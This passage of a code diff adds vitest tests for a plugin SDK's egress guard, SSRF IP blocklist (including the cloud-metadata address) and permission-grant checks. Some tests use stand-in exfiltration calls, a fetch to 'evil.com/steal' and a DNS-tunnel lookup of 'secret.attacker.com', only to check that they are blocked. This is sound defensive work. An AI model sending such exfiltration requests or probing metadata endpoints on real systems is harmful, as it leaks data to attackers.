expect(allow('example.com')).toBe(false);
|
||||
expect(allow('localhost')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isBlockedIp', () => {
|
||||
it.each([
|
||||
'127.0.0.1', '10.0.0.5', '172.16.0.1', '172.31.255.255', '192.168.1.1',
|
||||
'169.254.169.254', // cloud metadata — the SSRF prize
|
||||
'100.64.0.1', '0.0.0.0', '224.0.0.1',
|
||||
])('blocks %s', (ip) => expect(isBlockedIp(ip)).toBe(true));
|
||||
|
||||
it.each(['8.8.8.8', '1.1.1.1', '172.32.0.1', '192.169.0.1', '99.1.2.3'])(
|
||||
'allows public %s', (ip) => expect(isBlockedIp(ip)).toBe(false),
|
||||
);
|
||||
|
||||
it('blocks every spelling of an IPv6 loopback/metadata address', () => {
|
||||
expect(isBlockedIp('::1')).toBe(true);
|
||||
expect(isBlockedIp('::')).toBe(true);
|
||||
expect(isBlockedIp('fe80::1')).toBe(true); // link-local
|
||||
expect(isBlockedIp('fc00::1')).toBe(true); // ULA
|
||||
expect(isBlockedIp('::ffff:127.0.0.1')).toBe(true); // IPv4-mapped, dotted
|
||||
expect(isBlockedIp('::ffff:a9fe:a9fe')).toBe(true); // IPv4-mapped metadata, hex
|
||||
expect(isBlockedIp('[::ffff:169.254.169.254]')).toBe(true); // bracketed
|
||||
expect(isBlockedIp('2606:4700::1111')).toBe(false); // public v6
|
||||
});
|
||||
});
|
||||
|
||||
describe('connect / dgram argument parsing', () => {
|
||||
const isIP = (s: string) => /^\d+\.\d+\.\d+\.\d+$/.test(s);
|
||||
|
||||
it('unwraps the pre-normalised [options, cb] array net.connect() passes', () => {
|
||||
const opts = { host: 'a.com', port: 80 };
|
||||
expect(unwrapConnectArgs([[opts, () => {}]])).toEqual([opts, expect.any(Function)]);
|
||||
expect(unwrapConnectArgs([opts])).toEqual([opts]);
|
||||
});
|
||||
|
||||
it('classifies every connect() overload', () => {
|
||||
expect(classifyConnect([{ host: 'a.com', port: 443 }], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
expect(classifyConnect([{ host: '1.2.3.4' }], isIP)).toEqual({ kind: 'literal-ip', host: '1.2.3.4' });
|
||||
expect(classifyConnect([{ path: '/var/run/docker.sock' }], isIP)).toEqual({ kind: 'local', host: '/var/run/docker.sock' });
|
||||
expect(classifyConnect(['/tmp/x.sock'], isIP)).toEqual({ kind: 'local', host: '/tmp/x.sock' });
|
||||
expect(classifyConnect([443, 'a.com'], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
expect(classifyConnect([443], isIP)).toEqual({ kind: 'hostname', host: 'localhost' });
|
||||
// the plain-HTTP path undici takes — misparsing this once made every HTTP call
|
||||
// look like a connect to "localhost"
|
||||
expect(classifyConnect([[{ host: 'a.com', port: 80 }, () => {}]], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
||||
});
|
||||
|
||||
it('finds the dgram destination in both send() overloads', () => {
|
||||
expect(dgramSendTarget(['msg', 514, 'logs.example.com'])).toBe('logs.example.com');
|
||||
expect(dgramSendTarget(['msg', 0, 3, 514, 'logs.example.com'])).toBe('logs.example.com'); // (offset,length) form
|
||||
expect(dgramSendTarget(['msg', 514])).toBeNull(); // no explicit address
|
||||
expect(dgramConnectTarget([514, 'logs.example.com'])).toBe('logs.example.com');
|
||||
expect(dgramConnectTarget([514])).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('installEgressGuard', () => {
|
||||
let restore: RestoreEgress | null = null;
|
||||
afterEach(() => { restore?.(); restore = null; });
|
||||
|
||||
it('rejects a fetch to an undeclared host, and names the permission to add', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/evil\.com is not in the plugin's declared hosts/);
|
||||
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/http:outbound:evil\.com/);
|
||||
});
|
||||
|
||||
it('blocks ALL outbound when no host is declared — as in production', async () => {
|
||||
restore = installEgressGuard([]);
|
||||
await expect(fetch('https://api.example.com')).rejects.toThrow(/not in the plugin's declared hosts/);
|
||||
});
|
||||
|
||||
it('rejects a malformed url rather than passing it through', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
await expect(fetch('not-a-url')).rejects.toThrow(/egress: invalid url/);
|
||||
});
|
||||
|
||||
it('lets a declared host through to the real fetch (it delegates, never resolves)', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
// Port 1 will never connect, so this rejects either way — what matters is WHICH error.
|
||||
// An egress refusal would mean the guard blocked a host it was told to allow.
|
||||
const err = await fetch('http://api.example.com:1/').catch((e: Error) => e.message);
|
||||
expect(err).not.toMatch(/declared hosts/);
|
||||
expect(err).toMatch(/fetch failed|ECONNREFUSED/);
|
||||
});
|
||||
|
||||
it('gates a DNS lookup for an undeclared name (the DNS-tunnel channel)', async () => {
|
||||
restore = installEgressGuard(['api.example.com']);
|
||||
const dns = await import('node:dns');
|
||||
await expect(dns.promises.resolveTxt('secret.attacker.com')).rejects.toThrow(/DNS lookup for secret\.attacker\.com/);
|
||||
});
|
||||
|
||||
// Regression: gating literal IPs too broke the dev server's OWN listener — Node
|
||||
// resolves a bind address through dns.lookup, so `listen(port, '127.0.0.1')` was
|
||||
// refused by its own guard and dev could not start. An IP has no name to tunnel
|
||||
// data in; reaching it is still barred by the connect guard + isBlockedIp.
|
||||
it('does NOT gate a lookup of a literal IP (the dev server binds through dns.lookup)', async () => {
|
||||
restore = installEgressGuard([]); // nothing declared: the strictest possible policy
|
||||
const dns = await import('node:dns');
|
||||
await expect(dns.promises.lookup('127.0.0.1')).resolves.toMatchObject({ address: '127.0.0.1' });
|
||||
});
|
||||
|
||||
it('still refuses to CONNECT to a blocked literal IP', async () => {
|
||||
restore = installEgressGuard(['1.2.3.4']);
|
||||
const net = await import('node:net');
|
||||
// Declared, but private — the SSRF backstop outranks the allowlist.
|
||||
expect(() => new net.Socket().connect({ host: '127.0.0.1', port: 1 })).toThrow(/blocked address|declared hosts/);
|
||||
});
|
||||
|
||||
it('restores the real fetch and dns on teardown', async () => {
|
||||
const realFetch = globalThis.fetch;
|
||||
const dns = await import('node:dns');
|
||||
const realResolve = dns.promises.resolveTxt;
|
||||
const undo = installEgressGuard(['api.example.com']);
|
||||
expect(globalThis.fetch).not.toBe(realFetch);
|
||||
undo();
|
||||
expect(globalThis.fetch).toBe(realFetch);
|
||||
expect(dns.promises.resolveTxt).toBe(realResolve);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,54 @@
|
||||
/**
|
||||
* The SDK hand-mirrors two things the server owns: the hook→permission map, and the
|
||||
* pure egress-policy helpers. trek-plugin-sdk ships standalone and cannot import across
|
||||
* the package boundary, so the copies are real copies — and a silent drift here is the
|
||||
* worst possible bug in this module: `dev` would confidently green-light a plugin that
|
||||
* the host then refuses (or refuse one the host would allow).
|
||||
*
|
||||
* These tests read the server's source directly. They only run inside the TREK monorepo;
|
||||
* in a published/standalone checkout the server isn't there and they skip.
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import fs from 'node:fs';
|
||||
import path from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { HOOK_PERMISSION } from '../src/permissions.js';
|
||||
|
||||
const here = path.dirname(fileURLToPath(import.meta.url));
|
||||
const serverPlugins = path.resolve(here, '../../server/src/nest/plugins');
|
||||
const supervisor = path.join(serverPlugins, 'supervisor/plugin-supervisor.ts');
|
||||
const serverEgress = path.join(serverPlugins, 'runtime/egress-policy.ts');
|
||||
const inMonorepo = fs.existsSync(supervisor) && fs.existsSync(serverEgress);
|
||||
|
||||
describe.skipIf(!inMonorepo)('parity with the host', () => {
|
||||
it('HOOK_PERMISSION matches the supervisor\'s map exactly', () => {
|
||||
const src = fs.readFileSync(supervisor, 'utf8');
|
||||
const block = src.match(/const HOOK_PERMISSION[^{]*\{([\s\S]*?)\n\};/);
|
||||
expect(block, 'could not find HOOK_PERMISSION in plugin-supervisor.ts').toBeTruthy();
|
||||
|
||||
const host: Record<string, string> = {};
|
||||
for (const [, key, perm] of block![1].matchAll(/^\s*(\w+):\s*'([^']+)'/gm)) host[key] = perm;
|
||||
|
||||
// Both directions: a hook the host gates that we don't know about means dev fires it
|
||||
// when TREK never would; one we gate that the host doesn't means dev refuses for nothing.
|
||||
expect(Object.keys(host).length).toBeGreaterThan(0);
|
||||
expect(HOOK_PERMISSION).toEqual(host);
|
||||
});
|
||||
|
||||
it('the vendored egress-policy helpers are byte-identical to the server\'s', () => {
|
||||
const ours = fs.readFileSync(path.resolve(here, '../src/egress-policy.ts'), 'utf8');
|
||||
const theirs = fs.readFileSync(serverEgress, 'utf8');
|
||||
|
||||
// Compare the pure helpers only — our file additionally carries installEgressGuard
|
||||
// (the server's lives in plugin-host-entry.ts, where it is coupled to the child).
|
||||
const fns = ['isBlockedIp', 'expandV6', 'makeHostAllow', 'dgramSendTarget', 'dgramConnectTarget', 'unwrapConnectArgs', 'classifyConnect'];
|
||||
const body = (src: string, name: string): string => {
|
||||
const start = src.indexOf(`function ${name}(`);
|
||||
expect(start, `${name} not found`).toBeGreaterThan(-1);
|
||||
// From the signature to the closing brace at column 0 — these are all top-level fns.
|
||||
const end = src.indexOf('\n}', start);
|
||||
return src.slice(start, end).replace(/\s+/g, ' ').trim();
|
||||
};
|
||||
for (const fn of fns) expect(body(ours, fn), `${fn} has drifted from the server`).toBe(body(theirs, fn));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
grantGaps, grantedHosts, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
|
||||
} from '../src/permissions.js';
|
||||
|
||||
const noop = () => {};
|
||||
|
||||
describe('grantGaps — entry points TREK would never run', () => {
|
||||
it('reports nothing for an empty plugin', () => {
|
||||
expect(grantGaps({}, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
// The whole point of this module: every hook must be gated on its own permission, and
|
||||
// a typo in one row of the map is a plugin that silently never runs in production.
|
||||
for (const [key, permission] of Object.entries(HOOK_PERMISSION)) {
|
||||
it(`flags hooks.${key} without ${permission}`, () => {
|
||||
const plugin = { hooks: { [key]: { anyFn: noop } } };
|
||||
const gaps = grantGaps(plugin, new Set());
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0]).toMatchObject({ entryPoint: `hooks.${key}`, permission });
|
||||
});
|
||||
|
||||
it(`does not flag hooks.${key} when ${permission} is granted`, () => {
|
||||
expect(grantGaps({ hooks: { [key]: { anyFn: noop } } }, new Set([permission]))).toEqual([]);
|
||||
});
|
||||
}
|
||||
|
||||
it.each([
|
||||
['jobs', { jobs: [{ id: 'refresh', handler: noop }] }, JOBS_PERMISSION],
|
||||
['scheduled', { scheduled: noop }, JOBS_PERMISSION],
|
||||
['events', { events: [{ on: 'place:created', handler: noop }] }, EVENTS_PERMISSION],
|
||||
['deleteUserData', { deleteUserData: noop }, USER_DATA_PERMISSION],
|
||||
['exportUserData', { exportUserData: noop }, USER_DATA_PERMISSION],
|
||||
])('flags %s without its grant, and clears once granted', (entryPoint, plugin, permission) => {
|
||||
const gaps = grantGaps(plugin, new Set());
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0]).toMatchObject({ entryPoint, permission });
|
||||
expect(grantGaps(plugin, new Set([permission]))).toEqual([]);
|
||||
});
|
||||
|
||||
it('does not flag an EMPTY jobs/events array — nothing is implemented', () => {
|
||||
expect(grantGaps({ jobs: [], events: [] }, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
it('ignores an unknown hooks.* key (the host ignores it too, so it is not a gap)', () => {
|
||||
expect(grantGaps({ hooks: { notAHook: { f: noop } } }, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
it('reports every gap at once, so one dev run surfaces them all', () => {
|
||||
const gaps = grantGaps(
|
||||
{ jobs: [{ id: 'j', handler: noop }], events: [{ on: '*', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } },
|
||||
new Set(),
|
||||
);
|
||||
expect(gaps.map((g) => g.permission).sort()).toEqual(
|
||||
[EVENTS_PERMISSION, JOBS_PERMISSION, 'hook:trip-warning-provider'].sort(),
|
||||
);
|
||||
});
|
||||
|
||||
it('a partially-granted plugin reports only what is missing', () => {
|
||||
const plugin = { jobs: [{ id: 'j', handler: noop }], hooks: { warningProvider: { getWarnings: noop } } };
|
||||
const gaps = grantGaps(plugin, new Set([JOBS_PERMISSION]));
|
||||
expect(gaps).toHaveLength(1);
|
||||
expect(gaps[0].permission).toBe('hook:trip-warning-provider');
|
||||
});
|
||||
});
|
||||
|
||||
describe('grantedHosts', () => {
|
||||
it('takes the hosts from http:outbound:<host> permissions only', () => {
|
||||
expect(grantedHosts(['db:own', 'http:outbound:api.example.com', 'http:outbound:*.foo.dev'])).toEqual([
|
||||
'api.example.com',
|
||||
'*.foo.dev',
|
||||
]);
|
||||
});
|
||||
|
||||
it('a bare http:outbound names no host — it reaches nothing', () => {
|
||||
expect(grantedHosts(['http:outbound'])).toEqual([]);
|
||||
expect(grantedHosts(['http:outbound:'])).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -4,7 +4,7 @@ import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import zlib from 'node:zlib';
|
||||
import { createRequire } from 'node:module';
|
||||
import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost } from '../src/index.js';
|
||||
import { definePlugin, PLUGIN_API_VERSION, validateManifest, createMockHost, PermissionDenied } from '../src/index.js';
|
||||
import { isUnboundedRange } from '../src/manifest.js';
|
||||
import { scaffold } from '../src/cli/create.js';
|
||||
import { validatePluginDir } from '../src/cli/validate.js';
|
||||
@@ -285,7 +285,12 @@ describe('createMockHost', () => {
|
||||
async exportUserData({ userId }) { return { userId, rows: 2 }; },
|
||||
hooks: { tripCardProvider: { async getCards(tripIds) { return tripIds.map((id) => ({ tripId: id, id: 'b', label: 'X' })); } } },
|
||||
});
|
||||
const host = createMockHost({ grants: ['jobs:run', 'hook:trip-card-provider'], actingUserId: 7 });
|
||||
// Every entry point needs the grant TREK would gate it on — events and the GDPR
|
||||
// handlers included, or the driver refuses them exactly as the host would.
|
||||
const host = createMockHost({
|
||||
grants: ['jobs:run', 'events:subscribe', 'hook:user-data', 'hook:trip-card-provider'],
|
||||
actingUserId: 7,
|
||||
});
|
||||
const d = host.run(def);
|
||||
|
||||
const res = await d.route({ method: 'GET', path: '/ping' });
|
||||
@@ -305,6 +310,52 @@ describe('createMockHost', () => {
|
||||
await expect(host.run(definePlugin({})).scheduled('x')).rejects.toThrow(/no scheduled handler/);
|
||||
});
|
||||
|
||||
// TREK gates hooks, events, jobs and the GDPR handlers on a permission BEFORE the plugin
|
||||
// is reached, and skips an ungranted plugin silently — no error, no log, it just never
|
||||
// runs. The driver must refuse them, or a green unit test still means a dead plugin.
|
||||
it('refuses every entry point the manifest did not grant, the way TREK would', async () => {
|
||||
const ran: string[] = [];
|
||||
const def = definePlugin({
|
||||
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
|
||||
async scheduled() { ran.push('scheduled'); },
|
||||
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
|
||||
async deleteUserData() { ran.push('delete'); },
|
||||
async exportUserData() { ran.push('export'); return {}; },
|
||||
hooks: {
|
||||
warningProvider: { async getWarnings() { ran.push('warn'); return []; } },
|
||||
notificationChannel: { async send() { ran.push('send'); }, async test() { ran.push('test'); } },
|
||||
},
|
||||
});
|
||||
const d = createMockHost({ grants: [] }).run(def); // implements everything, granted nothing
|
||||
|
||||
await expect(d.job('refresh')).rejects.toThrow(PermissionDenied);
|
||||
await expect(d.job('refresh')).rejects.toThrow(/requires jobs:run/);
|
||||
await expect(d.scheduled('daily')).rejects.toThrow(/requires jobs:run/);
|
||||
await expect(d.event('place:created')).rejects.toThrow(/requires events:subscribe/);
|
||||
await expect(d.deleteUserData(1)).rejects.toThrow(/requires hook:user-data/);
|
||||
await expect(d.exportUserData(1)).rejects.toThrow(/requires hook:user-data/);
|
||||
await expect(d.hook('warningProvider', 'getWarnings', 1)).rejects.toThrow(/requires hook:trip-warning-provider/);
|
||||
await expect(d.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).rejects.toThrow(/requires hook:notification-channel/);
|
||||
await expect(d.channel.test()).rejects.toThrow(/requires hook:notification-channel/);
|
||||
|
||||
// Not one handler ran. That is the production behaviour this mirrors.
|
||||
expect(ran).toEqual([]);
|
||||
});
|
||||
|
||||
it('runs the same entry points once the grants are there', async () => {
|
||||
const ran: string[] = [];
|
||||
const def = definePlugin({
|
||||
jobs: [{ id: 'refresh', schedule: '* * * * *', async handler() { ran.push('job'); } }],
|
||||
events: [{ on: 'place:created', handler() { ran.push('event'); } }],
|
||||
hooks: { warningProvider: { async getWarnings() { ran.push('warn'); return []; } } },
|
||||
});
|
||||
const d = createMockHost({ grants: ['jobs:run', 'events:subscribe', 'hook:trip-warning-provider'] }).run(def);
|
||||
await d.job('refresh');
|
||||
await d.event('place:created');
|
||||
await d.hook('warningProvider', 'getWarnings', 1);
|
||||
expect(ran).toEqual(['job', 'event', 'warn']);
|
||||
});
|
||||
|
||||
it('exposes the scheduler timers a plugin armed via ctx.scheduler', async () => {
|
||||
const def = definePlugin({ async onLoad(ctx) { await ctx.scheduler.every(3_600_000, 'sync', { n: 1 }); } });
|
||||
const host = createMockHost({ grants: ['jobs:run'] });
|
||||
@@ -900,13 +951,15 @@ describe('mock-host inter-plugin (plugins.call + events.emit)', () => {
|
||||
await expect(narrowed.channel.send({ event: 'trip_invite', title: 'T', body: 'B' })).rejects.toThrow(/never dispatches/);
|
||||
await expect(narrowed.channel.send({ event: 'todo_due', title: 'T', body: 'B' })).resolves.toBeUndefined();
|
||||
|
||||
await expect(createMockHost({}).run(definePlugin({})).channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
|
||||
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(definePlugin({}))
|
||||
.channel.send({ event: 'todo_due', title: 'T', body: 'B' }))
|
||||
.rejects.toThrow(/no notificationChannel hook/);
|
||||
});
|
||||
|
||||
it('a plugin with no notificationChannel.test is a clear error, not a silent pass', async () => {
|
||||
const def = definePlugin({ hooks: { notificationChannel: { async send() {} } } });
|
||||
await expect(createMockHost({}).run(def).channel.test()).rejects.toThrow(/no notificationChannel\.test/);
|
||||
await expect(createMockHost({ grants: ['hook:notification-channel'] }).run(def).channel.test())
|
||||
.rejects.toThrow(/no notificationChannel\.test/);
|
||||
});
|
||||
|
||||
it('runs a settings action as the CLICKING user and shapes the result like the host', async () => {
|
||||
|
||||
Reference in New Issue
Block a user